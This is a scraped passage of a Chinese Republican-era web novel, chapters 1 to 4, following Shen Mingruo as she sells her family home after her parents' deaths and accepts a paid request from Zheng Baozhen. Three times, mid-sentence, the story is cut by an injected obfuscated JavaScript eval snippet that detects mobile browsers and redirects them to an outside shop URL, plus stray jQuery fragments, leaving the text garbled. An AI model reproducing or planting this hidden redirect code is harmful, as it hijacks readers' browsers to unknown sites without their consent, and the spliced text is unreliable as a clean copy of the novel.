《明珠[民国]》 1. 第 1 章 吹过一场春风，园子里的花一夜之间竞相绽放，红的粉的黄的，各色与绿叶簇拥成一幅盛景。 前来与沈明若签约的黄老板一脚踏进来，两眼都被点亮了，忍不住感叹：“真是奇了！我昨天来看的时候，还有好些花没开，今天一来，竟然都开了！” 分明是在自家的园子里，对比黄老板，沈明若却显得有些局促，笑得像是在脸上贴了一张弧度正好的贴纸，抿了一会儿唇角，才说：“兴许是您和这个房子有缘。” 虽说，和这房子有缘可能也不是一件好事。 沈家的花园去年翻新了一次，沈家老爷没有邀请祁州有名的园林设计师，而是不知从哪儿请来一个风水先生。 那位风水先生总是披着一件黑沉沉的外衣，戴着一副装深沉的墨镜，蓄着一尾长至胸前的胡须，露在外面的皮肤蜡黄，身板像细竹竿似的，风一吹就会倒下。 他的安排设计，沈明若看不懂。她窝在二楼的阳台上，望着远处风水先生指挥着工人忙忙碌碌，一双眼眸平静的像死水一样，仿佛隔着物种，在看一群黑压压的蚂蚁在废墟之上重建家园。 她听见母亲在楼下与风水先生争辩：“你这些花选的不好呀，都是同一个时候开花的，到时候漂亮了一时，往后有大半年都是光秃秃的，那也太不好看了。” 风水先生缓缓道：“姹紫嫣红，正是事业兴隆之相，沈老爷会喜欢的。” “可是……” 母亲还想再说什么，却被风水先生的一句话堵了回去。 “这些事情，可都是沈老爷专门交代了我来做的。” 母亲当即闭上了嘴巴，冲着风水先生一甩手，扭头往屋里走。 很多时候，母亲都是害怕沈老爷的，只要一提沈老爷，她就不再说什么了。 但是，沈明若觉得她的害怕有点儿奇怪，因为沈明若还知道，母亲和经常到家里来的赵医生很亲密。 有一回，沈老爷在外喝酒应酬，彻夜未归。 在走廊昏黄森冷的灯光下，在虚掩的门缝中，她看见母亲和赵医生在书房里亲嘴。 她看得入迷，竟然站在原地，久久不动。 直到赵医生那张沉醉缱绻的脸上忽然睁开了一双锐利的眼睛，迅速捕捉到了偷窥者。 书房硕大的水晶灯忽然一亮，闪到了沈明若的眼睛，她捂着嘴飞快地跑了出去。 走廊的地板上按照沈老爷的喜好，铺了一层厚厚的地毯，没让她的逃跑发出一点儿声音。沈明若那时也没跑多远，就守在楼梯下面，强硬地不准任何人上楼，不能靠近书房。 沈家的佣人都知道三小姐是个古怪的人，有时候没由来地对身边的人耍脾气，说的难听些，就是脑子里有病。 据说，三小姐小时候还生过一场大病，发了高烧，是硬生生被医生从鬼门关拽回来的性命，在那之后，三小姐就变得古怪了。 沈老爷的三个子女当中，三小姐是最不得老爷喜爱的，却是管的最严的。 因此，有些佣人虽不尊敬沈明若，一个劲儿地在背地里编排她，但在明面上，还是会听从三小姐的命令，说不准靠近，就是不准靠近。 有句话说，不能同神经病多计较。 佣人对着沈明若微微一颔首，就退了下去，留沈明若一个人守在那儿。 那是一个深秋，夜晚的风绕过门窗，扑在沈明若面上，凉丝丝的，她整个人都凉透了。她那天同往常一样，穿了一身白色，洁白的裙摆铺散开，她曲着胳膊，脑袋往膝间一埋，缩在楼梯的角落，真像个无人问津的雪人。 今天她要将沈家的这座宅子卖掉了，扑在面上的，是暖暖的春风。 春天真是个好时候。 沈明若坐在花园亭子的阑干上，一边嗅着花香，一边晃荡着两条腿，瞧着心情不错。 另一边，黄老板已经看完了沈家的宅子，应该是特别满意，来找沈明若谈话的时候，满脸都是笑容，“沈小姐，明天我就把合同给你送过来，我们白纸黑字地定下这桩生意。” “明天？”沈明若一听事情有变，当即从阑干上跳下来，在黄老板面前站定，追问道，“我们先前不是说好了，今天就能签合同吗？” 黄老板解释道：“那份合同还有要修改的地方。” “您是对这宅子有什么不满意的地方吗？” “不是，”黄老板说，“是价钱方面需要修改一下。” “我出的价格是这一片最低的……”沈明若说的是实话，但多说了两句，言语就不踏实地飘起来，毫无底气。 黄老板冲沈明若摆了摆手，示意她别急，“我不是要再砍价，我太太的意思是——”黄老板又冲她比了个“1”， “再加一成价。” 沈明若愣了一下，随即飞快地转起脑子。 黄老板的太太……是知道了沈家的事情？ 是了，沈家好歹也在祁州绚烂地绽放过一时，有些名气，这回出了事，只要稍微一打听就能知道。 她选定了黄老板作为买主，一是认为他出手阔绰，二是知道他们一家初到祁州，人生地不熟的，极有可能成为一个冤大头。 但眼下……这是个什么情况？ 沈明若有些晕乎了。 有人知道了她家里的情况，还上赶着当冤大头？ 不会有这样的生意人吧？ 沈明若向黄老板投去了不解又试探的眼神。 黄老板慈祥又灿烂地笑起来，两眼弯弯，“实不相瞒，买下你家的宅子，是我太太的意思，是她喜欢这座宅子。她前两日就在打听你家的消息，知道你的父亲做生意断了资金，还欠了一大笔钱，于是粗浅地算了算你还需要多少钱。沈小姐，卖房的价钱，并不足够你还完剩余的债务吧？” 黄老板的语气越来越温和，一点儿都没让沈明若反感，只在心里感叹黄老板的太太——真是个神算子！ 打听消息的能力也是一流！ 沈明若沉了口气，还债的日子至今，她想到那些压在身上的欠款，头一次感觉到了一点点的松快，“是啊，如果按照原来的价格卖给您，确实还差一点儿才能把债还清。” “除了这座宅子，沈小姐手上能变卖的资产，应当都变卖干净了，剩下的债——你想过该如何还清吗？”黄老板问。 沈明若顿了顿，又道：“我有个姐姐，我打算去找她，让她帮我安排个工作——我能干的不多，自己找的话……我也不知道该怎么找。” “我听我太太说，你姐姐已经出嫁，这些年都不曾回过家，”黄老板说，“你还有个远在海外的二哥，相比已经出嫁的姐姐，联系二哥才更可靠吧？” 沈明若无声地笑了一下，说：“我已经联系过哥哥了，可是哥哥说……他在国外已经组建了家庭，不打算再回来了。” “啧，他果然是把你抛弃了。”黄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381384|200199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老板说完，狠狠地往地上啐了一口，“真是个没心肝的玩意儿。” 自从知道了哥哥不会回国的消息，这还是沈明若第一次从别人嘴里听到了替他打抱不平的话。 关于哥哥的消息，是从母亲的一个朋友那里知道的。 沈家倒了之后，沈老爷同他的朋友借酒消愁，喝得烂醉，夜晚的灯光昏暗，他晃晃悠悠地走在酒楼上，脚步如同鬼魅。不知怎的，人就翻过了阑干，一头摔在地上，一命呼呼。 母亲听闻噩耗，吓得住进了医院，隔天便托了朋友给哥哥发电报。 大约一个月过后，一封漂洋过海的信件才慢悠悠地传到母亲手中，信上简简单单地写着：儿子已在外有了家庭，生活安稳，母亲勿念。 母亲看完短短的一个字，捏着信纸的手颤抖了好半天，终于两眼一黑，昏倒过去。 那天晚上，沈明若在母亲的病床旁守了一夜，半夜迷迷糊糊的，感觉有一双冰凉纤细的手在抚摸她的脸颊，动作温柔，似乎充满爱意。 她想，一定是她在做梦。 记忆中，母亲从未那么温柔地待过她。 于是又静静地睡了过去，直到天亮才醒。 天亮时，病床上已经没有人了，只有一封信留在了枕头上。 那是二哥寄来的信件，母亲在信的背面写下了对沈明若说的最后一句话： 我走了，你珍重。 母亲是迎着清晨的第一缕阳光，清清冷冷，又满怀希望地从医院的楼顶跳了下去。和沈老爷是同样的死法，还有人说，她是殉情。 沈明若望着医院楼下熙攘的人群，人群中空出来了一块，隐隐透露出一点儿鲜艳的红色，那个中间躺在她死去的母亲。 她双脚麻木地站在窗边，一动不动，良久，才低头翻看手中的信件，亦是遗书。 那一刻竟然没有半点儿悲伤，她只觉得——解脱了。 关着她的金笼内里的腐烂终于暴露在天光之下，轻轻一碰，斑驳的锈迹迅速吞没了看似坚硬的金属，阻拦她的那扇大门便不复存在了。 然而，从来没学会飞翔的鸟，应该向哪里飞呢？ 她想去找姐姐。 沈明若的姐姐，沈疏瑶。 “沈明若”这个名字，便是十三岁的沈疏瑶取的。 她要去找沈疏离瑶，得先把沈家留下的烂摊子清理干净。 沈家的工厂、钱庄、庄园，都被她拿去抵债了，金银珠宝和祖传的古董字画登报拍卖，剩下最后一处沈宅，也将要被卖掉了。 至此，沈明若终于发现了作为沈老爷的子女的一个好处。 纵然沈老爷在外有许多情人，但一个姨太太也没讨，也没留下什么血统不明的孩子。 她死了爹，没了妈，姐姐出嫁，哥哥不归，顺理成章地成了沈家唯一的继承人，处理起资产来，除了不熟悉以外，不会有旁的糟心事。 沈明若与黄老板谈好了价钱，便和和气气地将人送走了。 她站在大门前，看着汽车渐渐远行，耳边是溜过去的自行车按响了“叮铃、叮铃”的铃声，清脆响亮。 春风拂过她的耳畔，带出一缕耳后的头发，沈明若抬手，又将那缕头发别在耳后。她忽然仰起头，看着天上分外灿烂的太阳，心道：“真好。” 天空中，一只白鸽振翅飞过。 沈明若一转身，走向了唯有她一人见到的花团锦簇。 2. 第 2 章 第二日，黄老板如约来签合同，同行的还有黄老板的太太，和他们的女儿。 女孩瞧着六七岁的模样，圆嘟嘟的脸蛋，两边垂着两条麻花辫子，头上戴着一个小巧的珍珠发夹，身上是一件鹅黄色的洋装，脚踩一双小皮鞋，在三个大人周围止不住地打转。 黄老板签完名字一撂笔，伸手，一掌罩住了女儿的脑袋，“小娃娃，这儿还不能算是我们家，不要乱跑乱跳。” 女孩被迫刹住了脚步，滴溜溜的眼睛向上转，隔着一条手臂，安静地看了一会儿爸爸，“那这里什么时候变成我们家的？” “七日后。”沈明若在合同上写下一个数字的同时，回答了她的问题。 女孩对着爸爸笑了笑，“那七日之后，我就能乱跑乱跳了吗？” “嘿，”黄老板也笑起来，“小机灵鬼，还让你找到我话里的缺漏了！” “是你的缺漏太多，我一找就找到了。” “好好好，你是最聪明的。” “那当然！”女孩神气地一扭头，转身，踢踏着小皮鞋走下台阶，裙摆翩飞，一溜儿钻进了花丛。 黄老板的太太安静了多时，这会儿才开口，略显肃穆的声音瞬间让着一方亭子内沉下来，“你怎么不拦着女儿？” 黄老板签合同时，落笔潇洒，满脸是笑，一听见太太的问话，抿着唇，一双眼睛微微瞪着，有些凸出来，好似是被问傻了。 须臾，他缓缓吐了口气，才说：“我哪能拦得住她，还得林小姐你出马才管用呢。” 黄老板的太太——林小姐闻言，轻笑了一声，倚着阑干的腰肢慢慢直起来，朝着黄老板微微一抬下巴，“乱讲，你一个当爸爸的，管不着自己的女儿，还把责任推到我头上来。” 黄老板长长地“唉”了一声，表示冤枉，“我可没这个意思。” “我可不管你是什么意思，”林小姐偏头，瞥了一眼在鲜花堆里玩得高兴的女儿，视线再回到丈夫无奈的脸上，继续道，“等会儿她要是跑了一身臭汗，或是摔着了，我都算在你头上的。” “行吧。”黄老板眼睛眯成了一条缝，含笑的目光拉出长长的一条线，延伸出去，不知尽头在何处。 他忽然有了点儿底气：“不过我想啊，有个小机灵鬼马上就要回来了。” 话音刚落，便有人脆生生地喊道：“妈妈，我回来了！” 一只圆乎乎的手捏住了林小姐的裙子，捏出了几道褶皱，匆匆松了手，再去牵妈妈的手。 林小姐捏了捏她的手掌心，“手都跑的滚烫了。” “只是跑热了。”女孩摇晃着妈妈的手臂说。 “嗯，你说的对。”林小姐淡淡地瞧了一眼女孩藏在身后的另一只手，对准了沈明若的方向，忽地一扬手臂，将人送了出去，“去吧。” 女孩甜甜地笑起来，露出她今天最灿烂的笑容，然后把手里的东西往沈明若眼前一递，“送给你，漂亮姐姐。” 她的身后，林小姐掩嘴笑了一声，“她就喜欢漂亮姐姐。” 一朵明亮的小黄花。 沈明若看了看花，又看了看拿着花的小女孩，最后循声望向林小姐，无声地眨了眨眼睛，像是在询问，也像是在确认。 林小姐对着沈明若轻轻一点头，“一朵花而已，沈小姐就收下吧，更何况，这还是你家园子里的花。” 沈明若：“签过了合同，这里已经是你们家了。” 林小姐温柔地笑着：“你方才不是说了嘛，要等七日后你搬出去了，这里才算是我们一家的。” “沈小姐后面打算去哪里？” “我想……” 女孩往沈明若发间插花的动作打断了她的话语，生出一份犹豫。 沈明若不自然地抬起手臂挡了一下，随后又僵硬地放下，任由女孩摆弄她的头发，“我想，去明州找大姐。” 林小姐递了个眼神过去，女孩插完花，当即退到一旁站直了，也闭上了嘴巴。 沈明若抬手摸了一下发间的花朵，转头看了女孩一眼，再去看林小姐，“林小姐是想告诉我什么消息吗？” “嗯。” 林小姐淡淡地应了声，继而说：“我们一家路过明州时住了一些时日，知道那里的一些消息。沈小姐的姐姐，可是叫沈疏瑶？” 许久未曾在别人的嘴里听见这个名字了，沈明若愣了一下，才回答道：“是她。林小姐认识我姐姐？” “不算认识，只是有过几面之缘，就记下了，主要还是——” 林小姐翘着食指，隔空在女儿的头上点了一下，“是这个爱漂亮的女儿的功劳，你们沈家的女儿长得都好看，她在路上便跟我提了好几次‘疏瑶姐姐’，明明跟人家不算熟的，还要亲热地叫姐姐。想必今天之后，她又要在我面前念叨‘明若姐姐’了。” 女孩吐出一点舌尖，依旧站的笔直，一张嘴巴却提前结束了沉默时刻，大声说：“我现在就可以念叨。” “明若姐姐！” 沈明若吓得挺直了脊背，整个人瞬间精神了不少，可精神到了极点，又有点糊涂，到最后，脸色莫名变得有些苍白了。 林小姐当即上前，在女儿头上敲了个爆栗，以非凡的手段捂住了她的嘴巴，“抱歉，沈小姐。” “没……” 沈明若想说“没事”，但是一张开嘴巴，发出的声音像是单纯用气呼出来似的，飘飘渺渺的，不成音，嗓子仿佛被封闭住了。 于是她连忙摇了摇头，低头缓和了一会儿，再抬头，对上小女孩有些抱歉的视线，故作轻松地笑了笑。 这时，恰好有佣人端了新的热茶上来，沈明若抿了一口，远远瞧着佣人离去的背影，终于缓和了过去，很轻地清了清嗓子，又问道： “还要麻烦林小姐，告诉我关于我姐姐的消息。” “你姐姐……可能，已经不在明州了。” 不在明州了……那是去哪里了？ 林小姐不知道更多的消息了，沈明若也不知道她该去往哪里了。 …… 方才来送茶的佣人在谈话结束时再次出现，帮着沈明若模模糊糊地送走了林小姐一家，并再次强调了七日后一定搬走，以及——“林小姐，你们住进来之后，一定要把花园翻新一下，要用祁州最好的园林设计师。” 林小姐笑着应下，“我会的。” 佣人忧心好不容易签了合同的买家在三小姐的提醒下又会反悔，赶忙替人家关上了汽车门，恭恭敬敬地鞠了一躬，随后牵着三小姐回了沈宅。 佣人姓于，四十岁出头，头发却已有大半花白。 于妈来到沈家前嫁过人，生了个女儿，因家里贫苦，女儿还没满月就死了。 没有感情且穷苦的婚姻，一摔就碎了。 她的丈夫在后来的某一天夜里离家出走，自此杳无信讯。 于妈在老家没有经济来源，便来了祁州，经人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381385|200199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 介绍进入沈家。 她长得不大好看，经过世事磋磨，还显得苍老凄凉，一张脸上窄下宽顿顿的，五官不大且平坦，好像一张微微焦糊的面饼上嵌了几块不太诱人的细碎装饰物。单眼皮的眼睛，微微笑起来就眯成了一条缝，又仿佛要有泪水从中溜出来，泪花晃晃悠悠的，莹莹闪光。 沈明若的母亲原本不想留下于妈，可从荐头那里听完于妈的遭遇，莫名就心软了——在沈明若的记忆里，她是个不会心软的人，起码，对自己的小女儿是不会心软的。 后来，于妈才从和她一起做工的佣人嘴里知道，太太那时刚生下自己的小女儿不久，小女儿生来身体不好，短短几个月就生病了好几次，好不容易活了下来。 于妈进入沈家后，被安排最偏的一处院子里做工——也就是后来，关了沈明若七年的院子。 沈明若从于妈嘴里知道了她进沈家的经过，也常常听她感叹心善、爱女——旁人眼里的母亲是这样的吗？ 为何她感觉到的全然不同？ 是因为她和那些人不一样，还是因为，母亲变了太多太多，又是为什么改变了这么多？ 沈明若心有疑问，却不想知道答案，如今，也不必知道了。 人都已经死了。 母亲死后，沈明若遣散了沈家的佣人，只剩下一个于妈，因为担心她一个人留在沈宅过得不好，留到了现在。 七日后，沈宅就不再是沈宅了，于妈也该走了。 收拾好了要带走的行李，沈明若安静地坐在一旁，一边舀着红枣莲子冰糖汤，一边看于妈忙前忙后，非常疑惑。 但这点儿疑惑直到她干干净净吞下了一碗甜水，才开口问道：“于妈，你这是在整理些什么？” 家里都没剩下多少东西了，整理什么？ 难道于妈知道老爷太太藏起来的贵重东西——不对，就算是知道，沈老爷和太太也不会把贵重东西藏在她的院子里。 于妈回道：“七日后就要走了，总的带走要紧的东西。” 沈明若一听，以为真的有戏，赶紧追问：“是什么要紧的东西？” 于妈从抽屉深处找出一张老照片来，照片四边微微泛黄，还有一角深深地翻折进去，留下了一个怎么都除不掉的折痕。 于妈轻轻拍了拍照片上的灰尘，然后递到沈明若眼前，“看呐，这上面有你，还有太太和老爷。” 沈明若没什么兴致地撩起眼皮，半边脸靠在椅背上，懒懒地开口：“嗯，大概是我……五岁时候拍的照片吧。” 照片上，气质娴静的夫人坐在最中央的椅子上，左手边站着乖巧可爱的女儿，威严沉重的丈夫站在她的身后，手搭在她的椅背上。 乍一看，真像是个完整的家庭。 或许那时候真的是个完整的家庭，但沈明若不记得了——有些东西改变的太快，不记得是从什么时候开始变化的，也不记得是因为什么而变化的。 既然彻底变了，也就不需要记得了。 于妈见沈明若不接照片，又把照片往前递了递，“呐，走的时候把它带上吧，这应当是你和老爷太太唯一一张合照。” 沈明若眉间微蹙，咕哝道：“带上它做什么？” 于妈说：“人总要知道自己的来处。” “我知道的啊，”沈明若撑着椅子的扶手，立起身，身体向后弯折，伸了个优美的懒腰，长长地舒了一口气，“我也知道，我不会再回来了。” 3. 第 3 章 沈明若觉得，现在对她而言更加重要的，是知道去处。 黄老板说她去找已经出嫁的姐姐不太合适，林小姐说姐姐可能已经不在明州，可她——还是想去明州瞧了一眼。 她只是想，再见姐姐一面而已，不想多添麻烦，去了明州，说不定就能知道姐姐去哪里了。 如今这世道乱，能多见一面，就是一面了。 沈明若思量着七日后的安排，余光瞥见于妈小心地将照片放进她皮箱的夹层里，最后隔着夹层，妥帖地拍了拍照片，这才放心地关上箱子。 目睹了全程，沈明若却未出声阻止，即便她知道：她自己是不想要那张照片的。 “于妈。” 沈明若忽然出声。 于妈肩头一阵颤抖，洋洋翘起的嘴角一僵，慢悠悠地转过头，应了声“哎”。 沈明若问她：“于妈，你之后有什么打算？” “我想回乡下去，”于妈说，“我这些年在沈家攒了不少钱，想来也足够养老了，若是不够，我再去帮别人干干手工活。” 沈明若张了张嘴，想说什么，转瞬却又闭上了。 于妈接着说：“三小姐，你日后不管去了哪里，一定要寄信给我，让我知道你在哪里。我老家的院子里有一株梅树，每年都会结一树梅子，我腌好了青梅可以托人捎带给你。” 沈明若盈盈笑着，应了声：“好呀，我等着你。” 她说完，偏过头，在半开着的彩色玻璃窗旁，看见了外头院子里的绿梅。 早春的时候，梅树枝头挤着一团团白色，热闹的分外清丽。眼下临近夏天，花瓣早落没了，已经长成的叶子垂下来，掩盖着枝丫。 茶楼的厅堂里摆放着丝绢做的假梅花，红艳艳的，还“开”得茂盛。 沈明若坐在外面的竹椅上往里看，头顶的太阳正盛，眼睛一闭，再一睁，入眼便是黑糊糊的画面，连那片红梅都瞧不清了。 沈明若来的时候，店里空荡荡的一个客人都没有，茶楼的老板蔫头耷脑的，一边叹着气，一边收起桌椅。 她差点儿以为是茶楼经营不下去，同她家一样也倒闭破产了。 一问才知，是武林那边给茶楼供给茶叶的茶园忽然没了消息，老板放心不下，想亲自去武林探望一眼。 “我同茶园的老板是十几年的朋友了，听说武林又开始乱了，也不知道我那朋友怎么样……” “你这样记挂着他，他为了不辜负你，当然会好好的。”沈明若说。 茶楼老板干巴巴地笑了一声，“他是一定不会辜负我的，我希望的是，老天爷不要辜负我们两。” “小姑娘，你是来吃茶的吗？我这茶楼就要关了，劳烦你去别处。” “是打算来吃茶，”沈明若点了点头说，“我以前听姐姐说，这里的点心不错。” “你来的不巧，做点心的师傅已经回家去了，”茶楼老板见她手里拎着个箱子，猜到她要离开祁州，随口问了一句，“这是要去哪里啊？” “去找我姐姐。” “你姐姐在哪呢？” “不知道。” 茶楼老板沉默了一会儿，突然撸起袖子，柔声道：“你姐姐有没有跟你说，我这里的馄饨也不错，我给你做碗馄饨怎么样？” 沈明若又点了点头，“谢谢了。” “给我也来一碗，谢谢。” 一个黄鹂鸟似的声音倏地闯了进来，声音清亮，说话干脆。 沈明若和茶楼老板双双循声看去。 来人身着一件蓝色软缎旗袍，臂弯里搭着薄薄的外套，挎着小皮包，脚踩一双尖头细高跟，缓缓向沈明若走来，坐在了沈明若对面的位置上。 她一动，耳朵上的珍珠坠子跟着动，一摇一晃的，珍珠的光泽晃进了沈明若眼底。 坐在对面的人同茶楼老板说了两句话，老板便转身进屋了，这么近的距离，沈明若竟然没听清她在说什么，只看见了两瓣红唇一张一翕。 那人偏过头，对着沈明若微微笑了一下，轻声唤道：“沈小姐。” “嗯？” 沈明若方才回过神，恢复了听觉，耳边又是一片春日里的和煦风声，“你怎么知道我姓沈？” 那人说：“我表姐买了沈家的一副画，你将画送去她家的那天，我远远地看了你一眼，向表姐问了你的姓名。她还说，你是这祁州城里长得最好看的姑娘。” 沈明若短促地应了一句“哦”，眨了眨眼，完全没记起来卖的是什么画，又是将画卖掉了哪家去。 那人见她一脸懵懂，便提醒道：“我表姐姓官，门上挂着两个灯笼，门前还摆着两坛杜鹃的就是我表姐家。” 沈明若又“哦”了一声，依旧没想起来。 若是眼前这位美丽的小姐愿意跟她说那幅画卖了多少钱的话，她兴许还能记起来一些。 沈明若兀自点了点头，“那请问，你……您是？” 那人似乎突然在沈明若身上发觉了什么，静默了片刻后忍俊不禁，“你不必这么客气，叫我宝珍就好，我姓郑，郑宝珍。” 沈明若仿佛新学会了说话一样，眼珠子从左转到右，再从右转到左，一个称呼在嘴里翻滚了三四圈，才终于出口，带着些许迟疑：“宝珍小姐。” “是我。” “宝珍小姐来寻我，是有什么事？”沈明若问道。 “你怎么能笃定我来寻你一定是有事的？” 沈明若微微一歪脑袋，捧着茶杯轻抿了一口，“你总不能……是看我长得好看吧。” “兴许就是呢。” “……” 沈明若不知该怎么答话了。 郑宝珍对她摆了摆手，笑说：“好了好了，我不逗你玩了，我来找你呢，其实是有事相求，你若是帮我办成了这件事，我还会给你一大笔钱。” 天下没有白拿的钱，这个道理沈明若自然是明白的。一个素未谋面的人突然出现，说要给你一笔钱……这事儿怎么看，都不像是个好事。 沈明若小声却又肃然地说：“宝珍小姐，我没什么才艺，也不卖身。” “嗯。”宝珍小姐懒洋洋地应着。 “我身体也不好，干不了重活累活，他们还说我的脑子也生了病，一不小心就会发疯的。” 郑宝珍忽然收起了一张笑脸，“没有呀，我瞧你是好好的，一定是他们嫉妒你，所以胡言乱语。” 沈明若恍若未闻，继续说：“除了这些以外，我还……” 郑宝珍察觉到她的异象，伸手，按住了沈明若捧着茶杯的那只手，也止住了她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381386|200199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音，“你很好，我说你好，你就是好的。” 郑宝珍按着她的手改成握着，又紧了紧，重复道：“你很好。” 沈明若的情绪沉下来，愣愣地说：“宝珍小姐，你和我……今天才互相见了第一面。” 郑宝珍微笑着，拍了拍她的手背，“我看人一向很准。” 沈明若仔细瞧了她一眼，慢慢垂了眼睫，有些畏惧郑宝珍眼中的光彩。 安静下来之后，沈明若的心底莫名漾开一片冰凉。 她在温和的春风中打了个寒颤，下意识闭了眼睛，偏过头，再睁眼时，视线中心多了两团暖烘烘的白雾，晃晃悠悠地向她走来。 茶楼老板将两碗刚出锅的馄饨放在桌上，说了句“慢用”，转身又走进厅堂。 沈明若的视线顺着老板的背影进了厅堂，余光瞥见了一抹艳红，然而日头太盛，眼中一片黑糊糊的瞧不清，藏在黑云里的红梅，更容易勾住她的注意力。 直到郑宝珍又唤了一声“沈小姐”，她才回神，也才反应过来，她们的手还握着。 沈明若小声说了句“抱歉”，便把手抽了回来，一手捧着汤碗，一手拿着调羹在碗里拨着馄饨，最后一口馄饨丝滑地咽下肚，暖了胃，连同心也暖了。 她终于有了力气再次问道：“宝珍小姐，是有什么时候要我帮忙？” 郑宝珍：“我有个男朋友伤了我的心，我是想请你，也伤一伤他的心。” “嗯？”沈明若有些蒙圈，“让他伤心？我要怎么做才能让他伤心？” “我不知道呀，”郑宝珍笑着说，笑容中带着苦涩，“我要是知道，哪里还用请人来帮我。” 沈明若：“可是……” 可是她也不知道啊，甚至不知道宝珍小姐的这位男朋友是谁。 “沈小姐应该有急需用钱的地方吧？”郑宝珍问。 有的。 今天早晨，沈明若将沈宅的一大串交到了黄老板和林小姐手中，也代表着她将整个沈家都卖了出去，还完了沈老爷欠的债，还有一些剩余不多的钱，她交到了于妈手中。 于妈说她准备好了养老的钱，可这乱世，不知还会有什么变化，多留些傍身总是好的。 沈明若没当着于妈的面说起这事儿，只把钱塞进了于妈早已准备好的包裹中，她不想临别之际，还要与不一定会再见的人拉拉扯扯，掉几滴眼泪，说几句贴心的话就够了。 离别，还是体面一些比较好。 沈明若散尽家财，低头一看，发现兜里没什么钱了，剩下的钱只能勉强买一张去明州的船票，可她到了明州要找住的地方，要吃饭，要四处寻找姐姐的消息，做什么都要花钱。 沈明若非常犹豫，眼前这笔送上门来的大生意，她到底要不要接？ 算了。 接吧。 就算宝珍小姐给的是一件不好的差事，但是有钱拿，想来也坏不到哪里去。 郑宝珍看着沈明若先是一脸懵，再到懵得平静，微微蹙起眉，最后眉宇间舒展开来，便知道了沈明若心存犹豫。 也是她不好，骤然让一个清清白白的小姑娘应下她这个请求，是不太合适。 郑宝珍轻轻叹了口气，正要改口，却听见沈明若说：“宝珍小姐，我确实有急用钱的地方。” 4. 第 4 章 因为是最后两个客人，茶楼老板客气地没收两碗馄饨的钱。 沈明若与郑宝珍一同道了声谢，并与老板约定了第二日到码头，坐郑家的船去武林。 这一天，沈明若跟着郑宝珍回了她的外祖官家，在官家的偏院借宿一宿。 夜晚降临，沈明若躺在床上翻来覆去地睡不着，干脆掀了被子下床，去开窗户，让外面院子里樟木的清香飘进来。 她最后还是回到床上，一动不动地躺平了，看着黑洞洞的床顶，樟木香萦绕在鼻尖、眼中，还有脑后，晕晕乎乎的，她陡然记起来还没有问宝珍小姐，她的那位男朋友叫什么，是哪里人。 就这么为了钱，稀里糊涂地应下了别人的请求……似乎也没什么不好的，她这也算是……给自己安排了一个去处，若是这背后有陷阱，她到时候再逃跑就是了。 沈明若越想，脑子里越是一片空白，睡意很快漫过了那一点点的不安，安静地迎来了风和日丽的、新的一天。 暖洋洋的春风吹在脸上，将昨夜未眠时的那点儿困意唤醒。 沈明若想偷偷打个哈欠，却被郑宝珍眼尖地捉住了抬上去的那只手，“小心弄花了妆面。” 天刚蒙蒙亮时，沈明若就被郑宝珍从床上拽了下来，一脸迷糊地按在梳妆镜前，从上到下打扮得漂漂亮亮。 迷糊间，她听见宝珍小姐说：“要让明州的人都知道，我从祁州带了个美人回去。” 沈明若上一回这么认真地打扮，还是十八岁生日那天，于妈给她挽了好看的头发，抹了唇红，换上了新做好的水绿色旗袍，最重要的是，于妈那天给她做了一碗她喜欢的雪菜笋片黄鱼面。 沈明若心念着黄鱼面，呆呆地看着镜子里越发精致的自己。 郑宝珍凑在她耳边问：“在想什么？” 沈明若眨了眨眼睛，轻声说：“想吃黄鱼面了。” 郑宝珍轻笑着说：“等到了明州，我请你吃啊。” 沈明若抬眼看着郑宝珍，心想着：这位宝珍小姐是不是不知道，她笑起来的时候，也是个灵动的美人。尤其，这位美人会请客吃黄鱼面，心美，钱包也充足，就更美了。 但是可惜，上了船之后，郑宝珍就挂上了一脸愁容。 她在船上得知了一则消息：两枚炸弹在租界旁的闹市炸开，死了上百人，伤者几千。 郑宝珍一拳砸在了休息室的木桌上，“该死的！” 坐在一旁的沈明若被巨大的声响吓了一跳，但是很快，欢快的舞曲隔着一扇门，荡悠悠地传进她的耳朵里，平复了那一点儿惊吓。 片刻后，传来了男男女女嬉笑欢闹的声音，又令沈明若感觉到心烦，于是分了大半的注意力在郑宝珍身上，听着她与郑家的手下说话。 郑宝珍倒是不避着她，左手边是隔了一张小桌子，在剥山核桃的沈明若，右手边是站得笔直、低着头的手下。 “郑家的人有没有受伤？” “没有，伤的大多都是学生，事发时，他们在街上游行。” “那些受伤的人和尸体都被安顿在哪了？” “一大半的伤者都由仁善堂接手了，尸体就放在仁善堂前等着认领。” “……” 郑宝珍顿了顿，“让人把之前的安排的都撤了，再拿张支票去仁善堂。” 手下等了半天没下文，便问：“是空白的支票么？” 